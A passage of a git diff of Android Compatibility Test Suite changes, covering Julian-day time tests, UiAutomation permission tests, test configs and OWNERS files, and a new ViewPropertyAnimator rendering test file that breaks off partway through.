+ private static void checkGetJulianDayForYearAndTimeZone(int year, String timeZone) {
+ final LocalTime midday = LocalTime.of(12, 0);
- // This is the Julian day for 12pm for this day of the year
- int julianDay = Time.getJulianDay(millis, time.gmtoff);
+ // For every 15th day of the year get the Julian day for 12pm and then check that if we
+ // change the time we get the same Julian day.
+ final LocalDate startDate = LocalDate.of(year, Month.JANUARY, 1);
+ final LocalDate stopDate = startDate.plusYears(1);
+ for (LocalDate testDate = startDate; testDate.isBefore(stopDate);
+ testDate = testDate.plusDays(15)) {
- // Change the time during the day and check that we get the same
- // Julian day.
- for (int hour = 0; hour < 24; hour++) {
- for (int minute = 0; minute < 60; minute += 15) {
- time.set(0, minute, hour, monthDay, 0, 2008);
- millis = time.normalize(true);
- if (millis == -1) {
- // millis == -1 means the wall time does not exist in the chosen
- // timezone due to a DST change. We cannot calculate a JulianDay for -1.
- continue;
- }
+ LocalDateTime middayLocalDateTime = LocalDateTime.of(testDate, midday);
+ ZoneOffset middayOffset = ZoneId.of(timeZone).getRules().getOffset(middayLocalDateTime);
+ Instant middayInstant = middayLocalDateTime.toInstant(middayOffset);
- int day = Time.getJulianDay(millis, time.gmtoff);
- assertEquals("Julian day: " + day + " at time "
- + time.hour + ":" + time.minute
- + " != today's Julian day: " + julianDay
- + " timezone: " + time.timezone, day, julianDay);
- }
- }
+ // Record the Julian day for the date/time given. Since we want to know the local
+ // calendar date we have to provide the time zone's UTC offset too.
+ int middayJulianDay =
+ Time.getJulianDay(middayInstant.toEpochMilli(), middayOffset.getTotalSeconds());
+
+ // Check Time.getJulianDay() agrees with java.time's Julian day calculations.
+ assertEquals(middayJulianDay, JulianFields.JULIAN_DAY.getFrom(middayLocalDateTime));
+
+ checkGetJulianDayVariousTimes(timeZone, testDate);
+ }
+ }
+
+ private static void checkGetJulianDayVariousTimes(String timeZone, LocalDate testDate) {
+ long expectedJulianDay = JulianFields.JULIAN_DAY.getFrom(testDate);
+
+ // Change the time during the day and check that we get the same Julian day as the one
+ // for midday.
+ for (int hour = 0; hour < 24; hour++) {
+ for (int minute = 0; minute < 60; minute += 15) {
+ LocalTime localTime = LocalTime.of(hour, minute);
+ LocalDateTime localDateTime = LocalDateTime.of(testDate, localTime);
+ ZoneOffset localDateTimeOffset =
+ ZoneId.of(timeZone).getRules().getOffset(localDateTime);
+ Instant instant = localDateTime.toInstant(localDateTimeOffset);
+ long millis = instant.toEpochMilli();
+
+ // Find the Julian day for the date/time by supplying the offset. Since we want
+ // to know the local calendar date we have to provide the UTC offset too.
+ int julianDay = Time.getJulianDay(millis, localDateTimeOffset.getTotalSeconds());
+
+ assertEquals("Julian day: " + julianDay + " at time "
+ + hour + ":" + minute
+ + " != today's Julian day: " + expectedJulianDay
+ + " millis: " + millis
+ + " localDatetime: " + localDateTime
+ + " timeZone: " + timeZone,
+ julianDay, expectedJulianDay);
}
}
}
diff --git a/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java b/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java
index 7dca324..e0829d9 100644
--- a/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java
@@ -16,6 +16,8 @@
package android.text.style.cts;
+import static org.junit.Assert.assertEquals;
+
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.Paint.FontMetricsInt;
@@ -42,6 +44,16 @@
replacementSpan.updateDrawState(null);
}
+ @Test
+ public void testContentDescription() {
+ final String testContentDescription = "testContentDescription";
+ ReplacementSpan replacementSpan = new MockReplacementSpan();
+
+ replacementSpan.setContentDescription(testContentDescription);
+
+ assertEquals(testContentDescription, replacementSpan.getContentDescription());
+ }
+
private class MockReplacementSpan extends ReplacementSpan {
@Override
public void draw(Canvas canvas, CharSequence text, int start, int end,
diff --git a/tests/tests/toast/AndroidTest.xml b/tests/tests/toast/AndroidTest.xml
index 9d9cf47..4195e03 100644
--- a/tests/tests/toast/AndroidTest.xml
+++ b/tests/tests/toast/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/toast/OWNERS b/tests/tests/toast/OWNERS
new file mode 100644
index 0000000..5cb1f47
--- /dev/null
+++ b/tests/tests/toast/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 137825
+svetoslavganov@google.com
+moltmann@google.com
+toddke@google.com
diff --git a/tests/tests/toastlegacy/OWNERS b/tests/tests/toastlegacy/OWNERS
new file mode 100644
index 0000000..d21846d
--- /dev/null
+++ b/tests/tests/toastlegacy/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+include ../toast/OWNERS
diff --git a/tests/tests/tools/processors/view_inspector/OWNERS b/tests/tests/tools/processors/view_inspector/OWNERS
new file mode 100644
index 0000000..1572c57
--- /dev/null
+++ b/tests/tests/tools/processors/view_inspector/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 25700
+ashleyrose@google.com
+aurimas@google.com
diff --git a/tests/tests/transition/AndroidManifest.xml b/tests/tests/transition/AndroidManifest.xml
index c825653..f2d7001 100644
--- a/tests/tests/transition/AndroidManifest.xml
+++ b/tests/tests/transition/AndroidManifest.xml
@@ -18,7 +18,7 @@
package="android.transition.cts">
<uses-permission android:name="android.permission.INJECT_EVENTS" />
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
- <application android:theme="@style/Theme_NoSwipeDismiss">
+ <application>
<activity android:name="android.transition.cts.TransitionActivity"
android:label="TransitionActivity"/>
<activity android:name="android.transition.cts.TargetActivity"
diff --git a/tests/tests/transition/AndroidTest.xml b/tests/tests/transition/AndroidTest.xml
index 043ac02..536338e 100644
--- a/tests/tests/transition/AndroidTest.xml
+++ b/tests/tests/transition/AndroidTest.xml
@@ -20,6 +20,7 @@
respect to transition tests, so don't run these in instant apps. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTransitionTestCases.apk" />
diff --git a/tests/tests/transition/OWNERS b/tests/tests/transition/OWNERS
new file mode 100644
index 0000000..ddf86d4
--- /dev/null
+++ b/tests/tests/transition/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 25700
+mount@google.com
+andreykulikov@google.com
+tianliu@google.com
diff --git a/tests/tests/transition/res/values/styles.xml b/tests/tests/transition/res/values/styles.xml
deleted file mode 100644
index be2272e..0000000
--- a/tests/tests/transition/res/values/styles.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
- -->
-<resources xmlns:android="http://schemas.android.com/apk/res/android">
- <style name="Theme_NoSwipeDismiss" parent="android:Theme.DeviceDefault">
- <item name="android:windowSwipeToDismiss">false</item>
- </style>
-</resources>
diff --git a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
index 8df3484..2301438 100644
--- a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
@@ -72,6 +72,7 @@
@Override
public void setup() {
super.setup();
+ ActivityOptions.setExitTransitionTimeout(10000);
setTransitions(new TrackingVisibility(), new TrackingVisibility(),
new TrackingTransition());
}
@@ -102,6 +103,7 @@
}
});
TargetActivity.clearCreated();
+ ActivityOptions.setExitTransitionTimeout(1000);
}
// When using ActivityOptions.makeBasic(), no transitions should run
diff --git a/tests/tests/tv/AndroidTest.xml b/tests/tests/tv/AndroidTest.xml
index 742a13b..7370234 100644
--- a/tests/tests/tv/AndroidTest.xml
+++ b/tests/tests/tv/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- Instant apps for TV is not supported. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTvTestCases.apk" />
diff --git a/tests/tests/uiautomation/Android.bp b/tests/tests/uiautomation/Android.bp
index c9d9108..6a0ba7c 100644
--- a/tests/tests/uiautomation/Android.bp
+++ b/tests/tests/uiautomation/Android.bp
@@ -22,7 +22,7 @@
"general-tests",
],
static_libs: [
- "compatibility-device-util-axt",
+ "CtsAccessibilityCommon",
"ctstestrunner-axt",
"ub-uiautomator",
],
diff --git a/tests/tests/uiautomation/AndroidManifest.xml b/tests/tests/uiautomation/AndroidManifest.xml
index af4f4cd..75eab20 100644
--- a/tests/tests/uiautomation/AndroidManifest.xml
+++ b/tests/tests/uiautomation/AndroidManifest.xml
@@ -21,10 +21,12 @@
android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
- <uses-permission android:name="android.permission.CAMERA" />
+ <uses-permission android:name="android.permission.ANSWER_PHONE_CALLS" />
- <application android:theme="@android:style/Theme.Holo.NoActionBar" >
+ <application android:theme="@android:style/Theme.Holo.NoActionBar"
+ android:requestLegacyExternalStorage="true">
<uses-library android:name="android.test.runner"/>
diff --git a/tests/tests/uiautomation/AndroidTest.xml b/tests/tests/uiautomation/AndroidTest.xml
index f5cf748..d5b2c92 100644
--- a/tests/tests/uiautomation/AndroidTest.xml
+++ b/tests/tests/uiautomation/AndroidTest.xml
@@ -18,15 +18,20 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsUiAutomationTestCases.apk" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="pm revoke android.app.uiautomation.cts android.permission.CAMERA" />
+ <option name="run-command" value="pm revoke android.app.uiautomation.cts android.permission.ANSWER_PHONE_CALLS" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.app.uiautomation.cts" />
<option name="runtime-hint" value="6m42s" />
</test>
+ <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
+ <option name="directory-keys" value="/sdcard/android.app.uiautomation.cts" />
+ <option name="collect-on-run-ended-only" value="true" />
+ </metrics_collector>
</configuration>
diff --git a/tests/tests/uiautomation/OWNERS b/tests/tests/uiautomation/OWNERS
index bbcb1a7..a98c458 100644
--- a/tests/tests/uiautomation/OWNERS
+++ b/tests/tests/uiautomation/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 44215
-pweaver@google.com
\ No newline at end of file
+pweaver@google.com
+rhedjao@google.com
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationLogRule.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationLogRule.java
deleted file mode 100644
index 3f81d3a..0000000
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationLogRule.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.app.uiautomation.cts;
-
-import android.app.UiAutomation;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.AssumptionViolatedException;
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.io.IOException;
-
-/**
- * Improves UiAutomationTest logging, dumps log when a test case gets failed.
- *
- * <ol>
- * <li>Call {@code dumpsys accessibility}.
- * </ol>
- */
-public final class UiAutomationLogRule implements TestRule {
-
- private final String mTestName;
-
- public UiAutomationLogRule(@NonNull String testName) {
- mTestName = testName;
- }
-
- @Override
- public Statement apply(Statement base, Description description) {
- return new Statement() {
- @Override
- public void evaluate() throws Throwable {
- Throwable throwable = null;
- // First run the test
- try {
- base.evaluate();
- } catch (Throwable t) {
- throwable = t;
- }
-
- // Ignore AssumptionViolatedException. It's not a test fail.
- if (throwable != null && throwable instanceof AssumptionViolatedException) {
- throwable = null;
- }
-
- if (throwable != null) {
- try {
- Log.e(mTestName, "TEST FAIL");
- dump();
- } catch (Throwable t) {
- Log.e(mTestName, "Dump fail", t);
- }
- }
-
- // Finally, throw exception!
- if (throwable == null) return;
- throw throwable;
- }
- };
- }
-
- private void dump() throws IOException {
- UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation(
- UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
- try {
- final String a11yDump = SystemUtil.runShellCommand(
- uiAutomation, "dumpsys accessibility");
- Log.e(mTestName, "==== dumpsys accessibility ====\n" + a11yDump);
- } finally {
- uiAutomation.destroy();
- }
- }
-}
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
index 828d9b5..9135e56 100755
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTest.java
@@ -17,13 +17,13 @@
package android.app.uiautomation.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import android.Manifest;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.app.Activity;
import android.app.ActivityManager;
@@ -71,8 +71,8 @@
private static final int TIMEOUT_FOR_SERVICE_ENABLE = 10000; // millis; 10s
@Rule
- public final UiAutomationLogRule mLogRule = new UiAutomationLogRule(
- UiAutomationTest.class.getSimpleName());
+ public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
@Before
public void setUp() throws Exception {
@@ -99,7 +99,7 @@
}
try {
packageManager.grantRuntimePermission(context.getPackageName(),
- Manifest.permission.CAMERA, Process.myUserHandle());
+ Manifest.permission.ANSWER_PHONE_CALLS, Process.myUserHandle());
fail("Should not be able to access APIs protected by a permission apps cannot get");
} catch (SecurityException e) {
/* expected */
@@ -113,17 +113,17 @@
activityManager.getPackageImportance("foo.bar.baz");
// Grant ourselves a runtime permission (was granted at install)
- assertSame(packageManager.checkPermission(Manifest.permission.CAMERA,
+ assertSame(packageManager.checkPermission(Manifest.permission.ANSWER_PHONE_CALLS,
context.getPackageName()), PackageManager.PERMISSION_DENIED);
packageManager.grantRuntimePermission(context.getPackageName(),
- Manifest.permission.CAMERA, Process.myUserHandle());
+ Manifest.permission.ANSWER_PHONE_CALLS, Process.myUserHandle());
} catch (SecurityException e) {
fail("Should be able to access APIs protected by a permission apps cannot get");
} finally {
getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
}
// Make sure the grant worked
- assertSame(packageManager.checkPermission(Manifest.permission.CAMERA,
+ assertSame(packageManager.checkPermission(Manifest.permission.ANSWER_PHONE_CALLS,
context.getPackageName()), PackageManager.PERMISSION_GRANTED);
@@ -136,7 +136,7 @@
}
try {
packageManager.revokeRuntimePermission(context.getPackageName(),
- Manifest.permission.CAMERA, Process.myUserHandle());
+ Manifest.permission.ANSWER_PHONE_CALLS, Process.myUserHandle());
fail("Should not be able to access APIs protected by a permission apps cannot get");
} catch (SecurityException e) {
/* expected */
diff --git a/tests/tests/uidisolation/OWNERS b/tests/tests/uidisolation/OWNERS
new file mode 100644
index 0000000..94522e3
--- /dev/null
+++ b/tests/tests/uidisolation/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36824
+include /tests/tests/security/OWNERS
diff --git a/tests/tests/uirendering/AndroidTest.xml b/tests/tests/uirendering/AndroidTest.xml
index 8e17ab5..150c7c5 100644
--- a/tests/tests/uirendering/AndroidTest.xml
+++ b/tests/tests/uirendering/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsUiRenderingTestCases.apk" />
diff --git a/tests/tests/uirendering/res/layout/viewpropertyanimator_test_layout.xml b/tests/tests/uirendering/res/layout/viewpropertyanimator_test_layout.xml
new file mode 100644
index 0000000..b6f67d8
--- /dev/null
+++ b/tests/tests/uirendering/res/layout/viewpropertyanimator_test_layout.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:background="#FFFFFF"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <FrameLayout
+ android:id="@+id/viewalpha_test_container"
+ android:background="#0000FF"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <android.uirendering.cts.testclasses.view.AlphaTestView
+ android:id="@+id/alpha_test_view"
+ android:layout_width="100px"
+ android:layout_height="100px"
+ />
+ </FrameLayout>
+</FrameLayout>
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java
index edeb2e8..f9f47a9 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java
@@ -26,10 +26,11 @@
import android.graphics.PorterDuffXfermode;
import android.graphics.drawable.ColorDrawable;
import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
+import android.uirendering.cts.runner.SkipPresubmit;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
import android.uirendering.cts.testinfrastructure.CanvasClient;
-import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
import org.junit.Before;
import org.junit.Test;
@@ -38,7 +39,8 @@
import java.util.List;
-@LargeTest // Temporarily hidden from presubmit
+@SkipPresubmit // Temporarily hidden from presubmit
+@MediumTest
@RunWith(Parameterized.class)
public class ColorFilterAlphaTest extends ActivityTestBase {
// We care about one point in each of the four rectangles of different alpha values, as well as
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
index b6a09c0..1a7151b 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
@@ -225,6 +225,7 @@
NinePatchDrawable ninePatch = (NinePatchDrawable) Drawable.createFromResourceStream(
mRes, null, is, null, HARDWARE_OPTIONS);
ninePatch.setBounds(0, 0, width, height);
+ ninePatch.setFilterBitmap(false);
ninePatch.draw(canvas);
}, true).runWithVerifier(new GoldenImageVerifier(getActivity(),
R.drawable.golden_hardwaretest_ninepatch, new MSSIMComparer(0.95)));
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
index db37463..f42b004 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
@@ -562,8 +562,10 @@
// Adjust Y to match the same gradient percentage, regardless of vertical
// fading edge length.
int verticalFadingEdgeLength = webview.getVerticalFadingEdgeLength();
- testPoints[2].y = TEST_HEIGHT - verticalFadingEdgeLength * 10 / 42;
- testPoints[3].y = TEST_HEIGHT - verticalFadingEdgeLength * 5 / 42;
+ testPoints[2].y = TEST_HEIGHT
+ - (int) Math.round(verticalFadingEdgeLength * 10.0 / 42);
+ testPoints[3].y = TEST_HEIGHT
+ - (int) Math.round(verticalFadingEdgeLength * 5.0 / 42);
}, true, hwFence)
.runWithVerifier(new SamplePointVerifier(
testPoints,
@@ -603,8 +605,10 @@
// Adjust Y to match the same gradient percentage, regardless of vertical
// fading edge length.
int verticalFadingEdgeLength = webview.getVerticalFadingEdgeLength();
- testPoints[3].y = TEST_HEIGHT - verticalFadingEdgeLength * 10 / 42;
- testPoints[4].y = TEST_HEIGHT - verticalFadingEdgeLength * 5 / 42;
+ testPoints[3].y = TEST_HEIGHT
+ - (int) Math.round(verticalFadingEdgeLength * 10.0 / 42);
+ testPoints[4].y = TEST_HEIGHT
+ - (int) Math.round(verticalFadingEdgeLength * 5.0 / 42);
}, true, hwFence)
.runWithVerifier(new SamplePointVerifier(
testPoints,
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewPropertyAnimatorTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewPropertyAnimatorTests.java
new file mode 100644
index 0000000..0f749d9
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewPropertyAnimatorTests.java
@@ -0,0 +1,542 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.animation.Animator;
+import android.animation.AnimatorListenerAdapter;
+import android.graphics.Color;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
+import android.uirendering.cts.testclasses.view.AlphaTestView;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.uirendering.cts.testinfrastructure.ViewInitializer;
+import android.view.View;
+import android.view.ViewPropertyAnimator;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ViewPropertyAnimatorTests extends ActivityTestBase {
+
+ @Test
+ public void testViewCustomAlpha() {
+ createViewPropertyAnimatorTest(new ViewPropertyAnimatorTestDelegate<AlphaTestView>() {
+ @Override
+ public void configureView(AlphaTestView target) {
+ target.setStartColor(Color.RED);
+ target.setEndColor(Color.BLUE);
+ }
+
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.alpha(0.0f);
+ }
+
+ @Override
+ public void verifyViewState(AlphaTestView target) {
+ assertEquals(Color.BLUE, target.getBlendedColor());
+ }
+
+ }).runWithVerifier(new ColorVerifier(Color.BLUE));
+ }
+
+ @Test
+ public void testViewNonCustomAlpha() {
+ final CountDownLatch latch = new CountDownLatch(1);
+ createTest().addLayout(R.layout.viewpropertyanimator_test_layout,
+ (ViewInitializer) view -> {
+ View testContent = view.findViewById(R.id.viewalpha_test_container);
+ testContent.animate().alpha(0.0f).setListener(new AnimatorListenerAdapter() {
+ @Override
+ public void onAnimationEnd(Animator animation) {
+ latch.countDown();
+ }
+ }).setDuration(16).start();
+ }, true, latch).runWithVerifier(new ColorVerifier(Color.WHITE));
+ }
+
+ @Test
+ public void testViewCustomAlphaBy() {
+ createViewPropertyAnimatorTest(new ViewPropertyAnimatorTestDelegate<AlphaTestView>() {
+ @Override
+ public void configureView(AlphaTestView target) {
+ target.setStartColor(Color.RED);
+ target.setEndColor(Color.BLUE);
+ target.setAlpha(0.5f);
+ }
+
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.alphaBy(-0.5f);
+ }
+
+ @Override
+ public void verifyViewState(AlphaTestView target) {
+ assertEquals(Color.BLUE, target.getBlendedColor());
+ }
+
+ }).runWithVerifier(new ColorVerifier(Color.BLUE));
+ }
+
+ @Test
+ public void testViewTranslateX() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.translationX(100.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(100.0f, target.getTranslationX());
+ }
+ });
+ }
+
+ @Test
+ public void testViewTranslateXBy() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+ @Override
+ public void configureView(View target) {
+ target.setTranslationX(20.0f);
+ }
+
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.translationXBy(100.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(120.0f, target.getTranslationX());
+ }
+ });
+ }
+
+ @Test
+ public void testViewTranslateY() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.translationY(60.0f);
+
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(60.0f, target.getTranslationY());
+ }
+ });
+ }
+
+ @Test
+ public void testViewTranslateYBy() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+ @Override
+ public void configureView(View target) {
+ target.setTranslationY(30.0f);
+ }
+
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.translationYBy(60.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(90.0f, target.getTranslationY());
+ }
+ });
+ }
+
+ @Test
+ public void testViewTranslateZ() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.translationZ(30.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(30.0f, target.getTranslationZ());
+ }
+ });
+ }
+
+ @Test
+ public void testViewTranslateZBy() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+ @Override
+ public void configureView(View target) {
+ target.setTranslationZ(40.0f);
+ }
+
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.translationZBy(30.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(70.0f, target.getTranslationZ());
+ }
+ });
+ }
+
+ @Test
+ public void testViewRotation() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.rotation(20.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(20.0f, target.getRotation());
+ }
+ });
+ }
+
+ @Test
+ public void testViewRotationBy() {
+ runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+ @Override
+ public void configureView(View target) {
+ target.setRotation(30.0f);
+ }
+
+ @Override
+ public void configureAnimator(ViewPropertyAnimator animator) {
+ animator.rotationBy(20.0f);
+ }
+
+ @Override
+ public void verifyViewState(View target) {
+ assertEquals(50.0f, target.getRotation());
+ }
+ });
+ }
+
+ @Test
+ public void testViewRotationX() {
